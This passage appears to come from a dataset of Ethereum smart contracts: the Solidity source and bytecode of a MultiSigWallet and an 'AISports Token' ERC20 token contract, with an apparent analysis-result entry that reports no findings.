!= 0 && ownerCount != 0); _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// defaultOwners List of initial owners. /// 2 of required confirmations. function MultiSigWallet() public { defaultOwners = [0xeF7c51D018B62985997a3755C734F0D1207eD3Fa, 0xc137de8E99992A77AD0377BA58d034f95c43dD68, 0x766e4e5290805a8a42b4a215c0b2b75F852eAF61]; for (uint i=0; i<defaultOwners.length; i++) { require(!isOwner[defaultOwners[i]] && defaultOwners[i] != 0); isOwner[defaultOwners[i]] = true; } owners = defaultOwners; required = 2; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; OwnerRemoval(owner); OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; if (txn.destination.call.value(txn.value)(txn.data)) Execution(transactionId); else { ExecutionFailure(transactionId); txn.executed = false; } } } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public constant returns (bool) { uint count = 0; for (uint i=0; i<owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public constant returns (uint count) { for (uint i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public constant returns (uint count) { for (uint i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public constant returns (address[]) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i=0; i<count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i=from; i<to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } }
0x60606040523615610126576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c2714610182578063173825d9146101e557806320ea8d861461021e5780632f54bf6e146102415780633411c81c146102925780634214e3ce146102ec578063547415251461034f5780637065cb4814610393578063784547a7146103cc5780638b51d13f146104075780639ace38c21461043e578063a0e67e2b1461053c578063a8abe69a146105a7578063b5dc40c31461063f578063b77bf600146106b8578063ba51a6df146106e1578063c01a8c8414610704578063c642747414610727578063d74f8edd146107c0578063dc8452cd146107e9578063e20056e614610812578063ee22610b1461086a575b5b600034111561017f573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b5b005b341561018d57600080fd5b6101a3600480803590602001909190505061088d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156101f057600080fd5b61021c600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506108cd565b005b341561022957600080fd5b61023f6004808035906020019091905050610b70565b005b341561024c57600080fd5b610278600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d1c565b604051808215151515815260200191505060405180910390f35b341561029d57600080fd5b6102d2600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d3c565b604051808215151515815260200191505060405180910390f35b34156102f757600080fd5b61030d6004808035906020019091905050610d6b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561035a57600080fd5b61037d600480803515159060200190919080351515906020019091905050610da1565b6040518082815260200191505060405180910390f35b341561039e57600080fd5b6103ca600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e35565b005b34156103d757600080fd5b6103ed600480803590602001909190505061103d565b604051808215151515815260200191505060405180910390f35b341561041257600080fd5b6104286004808035906020019091905050611125565b6040518082815260200191505060405180910390f35b341561044957600080fd5b61045f60048080359060200190919050506111f4565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001848152602001806020018315151515815260200182810382528481815460018160011615610100020316600290048152602001915080546001816001161561010002031660029004801561052a5780601f106104ff5761010080835404028352916020019161052a565b820191906000526020600020905b81548152906001019060200180831161050d57829003601f168201915b50509550505050505060405180910390f35b341561054757600080fd5b61054f611250565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105935780820151818401525b602081019050610577565b505050509050019250505060405180910390f35b34156105b257600080fd5b6105e76004808035906020019091908035906020019091908035151590602001909190803515159060200190919050506112e5565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561062b5780820151818401525b60208101905061060f565b505050509050019250505060405180910390f35b341561064a57600080fd5b6106606004808035906020019091905050611446565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106a45780820151818401525b602081019050610688565b505050509050019250505060405180910390f35b34156106c357600080fd5b6106cb611677565b6040518082815260200191505060405180910390f35b34156106ec57600080fd5b610702600480803590602001909190505061167d565b005b341561070f57600080fd5b610725600480803590602001909190505061173a565b005b341561073257600080fd5b6107aa600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061191b565b6040518082815260200191505060405180910390f35b34156107cb57600080fd5b6107d361193b565b6040518082815260200191505060405180910390f35b34156107f457600080fd5b6107fc611940565b6040518082815260200191505060405180910390f35b341561081d57600080fd5b610868600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611946565b005b341561087557600080fd5b61088b6004808035906020019091905050611c64565b005b60038181548110151561089c57fe5b906000526020600020900160005b915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561090957600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561096257600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610aee578273ffffffffffffffffffffffffffffffffffffffff166003838154811015156109f557fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610ae0576003600160038054905003815481101515610a5557fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610a9157fe5b906000526020600020900160005b6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610aee565b5b81806001019250506109bf565b6001600381818054905003915081610b06919061203f565b506003805490506004541115610b2557610b2460038054905061167d565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a25b5b505b5050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610bc957600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610c3457600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff16151515610c6457600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35b5b505b50505b5050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600681600381101515610d7a57fe5b0160005b915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600090505b600554811015610e2d57838015610de0575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610e135750828015610e12575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610e1f576001820191505b5b8080600101915050610da9565b5b5092915050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e6f57600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610ec957600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff1614151515610ef057600080fd5b60016003805490500160045460328211158015610f0d5750818111155b8015610f1a575060008114155b8015610f27575060008214155b1515610f3257600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060038054806001018281610f9e919061206b565b916000526020600020900160005b87909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25b5b50505b505b505b50565b6000806000809150600090505b60038054905081101561111d5760016000858152602001908152602001600020600060038381548110151561107b57fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156110fc576001820191505b60045482141561110f576001925061111e565b5b808060010191505061104a565b5b5050919050565b600080600090505b6003805490508110156111ed5760016000848152602001908152602001600020600060038381548110151561115e57fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156111df576001820191505b5b808060010191505061112d565b5b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600101549080600201908060030160009054906101000a900460ff16905084565b611258612097565b60038054806020026020016040519081016040528092919081815260200182805480156112da57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611290575b505050505090505b90565b6112ed6120ab565b6112f56120ab565b6000806005546040518059106113085750595b908082528060200260200182016040525b50925060009150600090505b6005548110156113c65785801561135c575060008082815260200190815260200160002060030160009054906101000a900460ff16155b8061138f575084801561138e575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b156113b8578083838151811015156113a357fe5b90602001906020020181815250506001820191505b5b8080600101915050611325565b8787036040518059106113d65750595b908082528060200260200182016040525b5093508790505b8681101561143a57828181518110151561140457fe5b906020019060200201518489830381518110151561141e57fe5b90602001906020020181815250505b80806001019150506113ee565b5b505050949350505050565b61144e612097565b611456612097565b60008060038054905060405180591061146c5750595b908082528060200260200182016040525b50925060009150600090505b6003805490508110156115cf576001600086815260200190815260200160002060006003838154811015156114ba57fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156115c15760038181548110151561154357fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16838381518110151561157e57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b5b8080600101915050611489565b816040518059106115dd5750595b908082528060200260200182016040525b509350600090505b8181101561166e57828181518110151561160c57fe5b90602001906020020151848281518110151561162457fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505b80806001019150506115f6565b5b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116b757600080fd5b60038054905081603282111580156116cf5750818111155b80156116dc575060008114155b80156116e9575060008214155b15156116f457600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a15b5b50505b50565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561179357600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515156117ef57600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561185b57600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a361191085611c64565b5b5b50505b505b5050565b6000611928848484611eeb565b90506119338161173a565b5b9392505050565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561198257600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156119db57600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611a3557600080fd5b600092505b600380549050831015611b23578473ffffffffffffffffffffffffffffffffffffffff16600384815481101515611a6d57fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611b155783600384815481101515611ac657fe5b906000526020600020900160005b6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611b23565b5b8280600101935050611a3a565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25b5b505b505b505050565b600033600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611cbf57600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611d2a57600080fd5b8460008082815260200190815260200160002060030160009054906101000a900460ff16151515611d5a57600080fd5b611d638661103d565b15611edf57600080878152602001908152602001600020945060018560030160006101000a81548160ff0219169083151502179055508460000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168560010154866002016040518082805460018160011615610100020316600290048015611e425780601f10611e1757610100808354040283529160200191611e42565b820191906000526020600020905b815481529060010190602001808311611e2557829003601f168201915b505091505060006040518083038185876187965a03f19250505015611e9357857f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2611ede565b857f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008560030160006101000a81548160ff0219169083151502179055505b5b5b5b505b50505b505050565b60008360008173ffffffffffffffffffffffffffffffffffffffff1614151515611f1457600080fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101556040820151816002019080519060200190611fd39291906120bf565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a25b5b509392505050565b81548183558181151161206657818360005260206000209182019101612065919061213f565b5b505050565b81548183558181151161209257818360005260206000209182019101612091919061213f565b5b505050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061210057805160ff191683800117855561212e565b8280016001018555821561212e579182015b8281111561212d578251825591602001919060010190612112565b5b50905061213b919061213f565b5090565b61216191905b8082111561215d576000816000905550600101612145565b5090565b905600a165627a7a723058204cc288dda1648f3888fcf054cd9761dc724fec8fd65a31d999db495262ba18c40029
{"success": true, "error": null, "results": {}}
1,727
0x506f1607ba1ab3a063478cc92613aa6d964be612
pragma solidity ^0.4.16; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract TokenERC20 { // Public variables of the token string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function TokenERC20() public { decimals = 8; totalSupply = 10000000000 * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = "AISports Token"; // Set the name for display purposes symbol = "AIS"; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender&#39;s allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } } /******************************************/ /* ADVANCED TOKEN STARTS HERE */ /******************************************/ contract MyAdvancedToken is owned, TokenERC20 { uint256 public sellPrice; uint256 public buyPrice; mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes contract with initial supply tokens to the creator of the contract */ function MyAdvancedToken( ) TokenERC20() public {} /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient Transfer(_from, _to, _value); } /// @notice Create `mintedAmount` tokens and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; Transfer(0, this, mintedAmount); Transfer(this, target, mintedAmount); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } /// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth /// @param newSellPrice Price the users can sell to the contract /// @param newBuyPrice Price users can buy from the contract function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } /// @notice Buy tokens from contract by sending ether function buy() payable public { uint amount = msg.value / buyPrice; // calculates the amount _transfer(this, msg.sender, amount); // makes the transfers } /// @notice Sell `amount` tokens to contract /// @param amount amount of tokens to be sold function sell(uint256 amount) public { require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, this, amount); // makes the transfers msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It&#39;s important to do this last to avoid recursion attacks } }
0x60606040523615610126576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305fefda71461012b57806306fdde0314610157578063095ea7b3146101e657806318160ddd1461024057806323b872dd14610269578063313ce567146102e257806342966c68146103115780634b7503341461034c57806370a082311461037557806379c65068146103c257806379cc6790146104045780638620410b1461045e5780638da5cb5b1461048757806395d89b41146104dc578063a6f2ae3a1461056b578063a9059cbb14610575578063b414d4b6146105b7578063cae9ca5114610608578063dd62ed3e146106a5578063e4849b3214610711578063e724529c14610734578063f2fde38b14610778575b600080fd5b341561013657600080fd5b61015560048080359060200190919080359060200190919050506107b1565b005b341561016257600080fd5b61016a610820565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101ab5780820151818401525b60208101905061018f565b50505050905090810190601f1680156101d85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101f157600080fd5b610226600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108be565b604051808215151515815260200191505060405180910390f35b341561024b57600080fd5b61025361094c565b6040518082815260200191505060405180910390f35b341561027457600080fd5b6102c8600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610952565b604051808215151515815260200191505060405180910390f35b34156102ed57600080fd5b6102f5610a80565b604051808260ff1660ff16815260200191505060405180910390f35b341561031c57600080fd5b6103326004808035906020019091905050610a93565b604051808215151515815260200191505060405180910390f35b341561035757600080fd5b61035f610b98565b6040518082815260200191505060405180910390f35b341561038057600080fd5b6103ac600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610b9e565b6040518082815260200191505060405180910390f35b34156103cd57600080fd5b610402600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610bb6565b005b341561040f57600080fd5b610444600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d29565b604051808215151515815260200191505060405180910390f35b341561046957600080fd5b610471610f44565b6040518082815260200191505060405180910390f35b341561049257600080fd5b61049a610f4a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104e757600080fd5b6104ef610f6f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105305780820151818401525b602081019050610514565b50505050905090810190601f16801561055d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61057361100d565b005b341561058057600080fd5b6105b5600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061102e565b005b34156105c257600080fd5b6105ee600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061103e565b604051808215151515815260200191505060405180910390f35b341561061357600080fd5b61068b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061105e565b604051808215151515815260200191505060405180910390f35b34156106b057600080fd5b6106fb600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506111dd565b6040518082815260200191505060405180910390f35b341561071c57600080fd5b6107326004808035906020019091905050611202565b005b341561073f57600080fd5b610776600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035151590602001909190505061127f565b005b341561078357600080fd5b6107af600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506113a6565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373fffffffffffffffffff